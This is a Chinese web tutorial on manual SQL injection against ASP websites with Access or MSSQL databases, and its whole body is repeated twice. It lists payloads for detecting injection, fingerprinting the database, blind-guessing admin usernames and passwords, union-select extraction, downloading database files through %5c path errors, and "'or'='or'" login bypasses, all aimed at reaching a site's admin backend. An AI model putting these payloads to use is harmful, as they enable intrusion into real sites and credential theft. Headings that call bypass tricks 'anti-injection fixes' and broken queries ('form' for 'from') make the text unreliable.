手工注入方法,方便大家测试程序漏洞
网络安全 2021-07-03 09:36www.168986.cn网络安全知识
1、加入单引号 ’提交,
结果:如果出现错误提示,则该网站可能就存在注入漏洞。
2、数字型判断是否有注入; 语句and 1=1 ;and 1=2 (经典)、' and '1'=1(字符型)
结果:分别返回不同的页面,说明存在注入漏洞.
分析and 的意思是“和”如果没有过滤我们的语句,and 1=1就会被代入SQL查询语句进行查询, 如果and前后的两条语句都是真的话就不会出错,但如果前后语句有一个为假的话,程序就会暴错。 也就表明程序有注入漏洞
防注入解决办法
1>使用or 2>1 ; or 1>2来进行判断
结果:分别返回不同的页面,说明存在注入漏洞.
分析or注入只要求前后两个语句只要有一个正确就为真,如果前后两个语句都是正确的,反而为假。 记住or注入时,or后面的语句如果是正确的,则返回错误页面!如果是错误,则返回正确页面 ,说明存在注入点。
2> 使用xor 1=1; xor 1=2
结果:分别返回不同的页面,说明存在注入漏洞.
分析:xor 代表着异或,意思即连接的表达式仅有一个为真的时候才为真。 记住xor注入时,xor后面的语句如果是正确的,则返回错误页面积,如果是错误,则返回正确 页面,说明存在注入点。
3>把and 1=1转换成URL编码形式后在提交 and 1=1 URL编码%41%4E%44%20%%31%3D%31
4>使用-1;-0
分析如果返回的页面和前面不同,是另一则新闻,则表示有注入漏洞,是数字型的注入漏洞;在 URL地址后面加上 -0,URL变成 news.asp?id=123-0,返回的页面和前面的页面相同,加上-1,返回错误页面,则也表示存在注入漏洞.
3、字符型判断是否有注入
语句' and '1'=1;' and '1=2(经典)
结果分别返回不同的页面,说明存在注入漏洞.
分析加入' and '1'=1返回正确页面,加入' and '1=2返回错误页面,说明有注入漏同。
防注入解决办法
在URL的地址后面加上'%2B'(字符型)
分析URL地址变为news.asp?id=123'%2B',返回的页面和1同;加 上'2%2B'asdf,URL地址变为news.asp?id=123'%2Basdf,返回的页面和1 不同,或者说未发现该条记录,或者错误,则表示存在注入点,是文本型的。
搜索型判断是否有注入:
简单的判断搜索型注入漏洞存在不存在的办法是先搜索',如果出错,说明90%存在这个漏洞。然后搜索%,如果正常返回,说明95%有洞了。
说明加入如"&"、"["、"]"、"%"、"$"、"@"等特殊字符,都可以实现,如果出现错误,说明有问题。
操作 搜索一个关键字,比如2006吧,正常返回所有2006相关的信息,再搜索2006%'and 1=1 and '%'='和 2006%'and 1=2 and '%'=',存在异同的话,就是100%有洞了。关键字%' and 1=1 and '%'='% 关键字%' and 1=2 and '%'='% 将and 1=1 换成注入语句就可以了
判断数据库类型
and user>0
例如showdetail.asp?id=49 ;and user>0 如果是ACCESS数据库,那么返回的错误里一般会有"Microsoft JET Database"关键定,如果是MSSQL数 据库的话返回的错误提示里一般会含有"SQL Server"关键了.
猜表名 and exists (select from 表名)
说明意思与上面一样,只是用的语名不一样。
猜列名 and (select count(列名) from 表名)>0
说明如果我们输入的列名猜解正确否反回正常页面
猜长度 and (select 1 len(username) from admin)>0
说明如果我们输入的一位数据返回错误,而错误前一位数字返回正确,说明我所猜解的长度 为正确。
猜内容 and (select 1 asc(mid(username,1,1)) from admin)>50 ascii码1-128
说明如果我们输入的一位数据返回错误,而错误前一位数字返回正确,说明我所猜解的数字正确。(可以使用折半法猜内容)
折半法最小值与最大值差的一半,比如输入50返正确,输入100返回错误,折半后输入75。
两种常见爆库
1、%5c
2、conn.asp
%5c暴库 把二级目录中间的/换成%5c EY: otherweb ... s.asp?BigClassName=职 责范围&BigClassType=1 如果你能看到’E:\ahttc040901 \otherweb\dz\database\iXuEr_Studio.asa’不是一 个有效的 路径。 确定路径名称拼写是否正确, 以及是否 连接到文件存放的服务器。 这样的就是数据库了。下载时用FLASHGET换成.MDB格式的就行 .
conn.asp暴库 这个也是比较老的漏洞,利用价值不大
常见的'or'='or'万能密码登陆
’or’=’or’这是一个可以连接SQL的语名句.可以直接进入后台。我收集了一下。类似的还有 ’or’’=’ " or "a"="a ’) or (’a’=’a ") or ("a"="a or 1=1-- ’ or ’ a’=’a 一个很老的利用方法,主要用于一些比较老的网站。
联合查询注入(union查询)
操作步骤
1>在正常语句后台加入 and 1=2 union select form 表名,其中号代表字段数量,从1一直追加 (and 1=2 union select 1,2,3,4 form 表名)如果字段数正确就会有暴错
2>在页面显示数字的地方用真实得到的字段名代替,如username,password.
3>在页面字段值处暴出真实的数据库字段值。
查找后台地址,找到后台用得到的用户管理员的帐户与密码进行登陆.
建议大家先手工检测,熟练掌握基本注入方法,来提高自己的基本注入知识。
警告不要用做非法用途,不要做有损国家的任何事情!
结果:如果出现错误提示,则该网站可能就存在注入漏洞。
2、数字型判断是否有注入; 语句and 1=1 ;and 1=2 (经典)、' and '1'=1(字符型)
结果:分别返回不同的页面,说明存在注入漏洞.
分析and 的意思是“和”如果没有过滤我们的语句,and 1=1就会被代入SQL查询语句进行查询, 如果and前后的两条语句都是真的话就不会出错,但如果前后语句有一个为假的话,程序就会暴错。 也就表明程序有注入漏洞
防注入解决办法
1>使用or 2>1 ; or 1>2来进行判断
结果:分别返回不同的页面,说明存在注入漏洞.
分析or注入只要求前后两个语句只要有一个正确就为真,如果前后两个语句都是正确的,反而为假。 记住or注入时,or后面的语句如果是正确的,则返回错误页面!如果是错误,则返回正确页面 ,说明存在注入点。
2> 使用xor 1=1; xor 1=2
结果:分别返回不同的页面,说明存在注入漏洞.
分析:xor 代表着异或,意思即连接的表达式仅有一个为真的时候才为真。 记住xor注入时,xor后面的语句如果是正确的,则返回错误页面积,如果是错误,则返回正确 页面,说明存在注入点。
3>把and 1=1转换成URL编码形式后在提交 and 1=1 URL编码%41%4E%44%20%%31%3D%31
4>使用-1;-0
分析如果返回的页面和前面不同,是另一则新闻,则表示有注入漏洞,是数字型的注入漏洞;在 URL地址后面加上 -0,URL变成 news.asp?id=123-0,返回的页面和前面的页面相同,加上-1,返回错误页面,则也表示存在注入漏洞.
3、字符型判断是否有注入
语句' and '1'=1;' and '1=2(经典)
结果分别返回不同的页面,说明存在注入漏洞.
分析加入' and '1'=1返回正确页面,加入' and '1=2返回错误页面,说明有注入漏同。
防注入解决办法
在URL的地址后面加上'%2B'(字符型)
分析URL地址变为news.asp?id=123'%2B',返回的页面和1同;加 上'2%2B'asdf,URL地址变为news.asp?id=123'%2Basdf,返回的页面和1 不同,或者说未发现该条记录,或者错误,则表示存在注入点,是文本型的。
搜索型判断是否有注入:
简单的判断搜索型注入漏洞存在不存在的办法是先搜索',如果出错,说明90%存在这个漏洞。然后搜索%,如果正常返回,说明95%有洞了。
说明加入如"&"、"["、"]"、"%"、"$"、"@"等特殊字符,都可以实现,如果出现错误,说明有问题。
操作 搜索一个关键字,比如2006吧,正常返回所有2006相关的信息,再搜索2006%'and 1=1 and '%'='和 2006%'and 1=2 and '%'=',存在异同的话,就是100%有洞了。关键字%' and 1=1 and '%'='% 关键字%' and 1=2 and '%'='% 将and 1=1 换成注入语句就可以了
判断数据库类型
and user>0
例如showdetail.asp?id=49 ;and user>0 如果是ACCESS数据库,那么返回的错误里一般会有"Microsoft JET Database"关键定,如果是MSSQL数 据库的话返回的错误提示里一般会含有"SQL Server"关键了.
猜表名 and exists (select from 表名)
说明意思与上面一样,只是用的语名不一样。
猜列名 and (select count(列名) from 表名)>0
说明如果我们输入的列名猜解正确否反回正常页面
猜长度 and (select 1 len(username) from admin)>0
说明如果我们输入的一位数据返回错误,而错误前一位数字返回正确,说明我所猜解的长度 为正确。
猜内容 and (select 1 asc(mid(username,1,1)) from admin)>50 ascii码1-128
说明如果我们输入的一位数据返回错误,而错误前一位数字返回正确,说明我所猜解的数字正确。(可以使用折半法猜内容)
折半法最小值与最大值差的一半,比如输入50返正确,输入100返回错误,折半后输入75。
两种常见爆库
1、%5c
2、conn.asp
%5c暴库 把二级目录中间的/换成%5c EY: otherweb ... s.asp?BigClassName=职 责范围&BigClassType=1 如果你能看到’E:\ahttc040901 \otherweb\dz\database\iXuEr_Studio.asa’不是一 个有效的 路径。 确定路径名称拼写是否正确, 以及是否 连接到文件存放的服务器。 这样的就是数据库了。下载时用FLASHGET换成.MDB格式的就行 .
conn.asp暴库 这个也是比较老的漏洞,利用价值不大
常见的'or'='or'万能密码登陆
’or’=’or’这是一个可以连接SQL的语名句.可以直接进入后台。我收集了一下。类似的还有 ’or’’=’ " or "a"="a ’) or (’a’=’a ") or ("a"="a or 1=1-- ’ or ’ a’=’a 一个很老的利用方法,主要用于一些比较老的网站。
联合查询注入(union查询)
操作步骤
1>在正常语句后台加入 and 1=2 union select form 表名,其中号代表字段数量,从1一直追加 (and 1=2 union select 1,2,3,4 form 表名)如果字段数正确就会有暴错
2>在页面显示数字的地方用真实得到的字段名代替,如username,password.
3>在页面字段值处暴出真实的数据库字段值。
查找后台地址,找到后台用得到的用户管理员的帐户与密码进行登陆.
建议大家先手工检测,熟练掌握基本注入方法,来提高自己的基本注入知识。
警告不要用做非法用途,不要做有损国家的任何事情!
上一篇:XSS漏洞报告
下一篇:网站被SQL注入防范(WebKnight)
网络安全培训
- 网络安全常见漏洞类型 网络安全常见漏洞类型包
- 绿色上网顺口溜七言 绿色上网的宣传标语
- 网络安全等级保护测评 网络安全等级保护条例
- 如何加强网络安全 网络安全隐患有哪些
- 网络安全防护措施有哪些 网络安全等级保护等级
- 如何保障网络安全 如何做好网络安全保障工作
- 维护网络安全的措施有哪些 维护网络安全的主要
- 网络安全工程师好学吗 2024年网络安全工程师好学
- 网络安全注意事项简短 网络安全注意事项100字
- 网络安全面临的挑战 当前网络安全面临的新问题
- 网络安全培训哪个靠谱 网络安全培训找哪个
- 普及网络安全知识内容 普及网络安全教育
- 网络安全防范知识宣传内容 网络安全防范知识宣
- 如何做好网络安全工作 如何做好网络安全工作
- 网络安全常识的丰富内容 网络安全的相关知识
- 青少年网络安全教育片 青少年网络安全知识讲座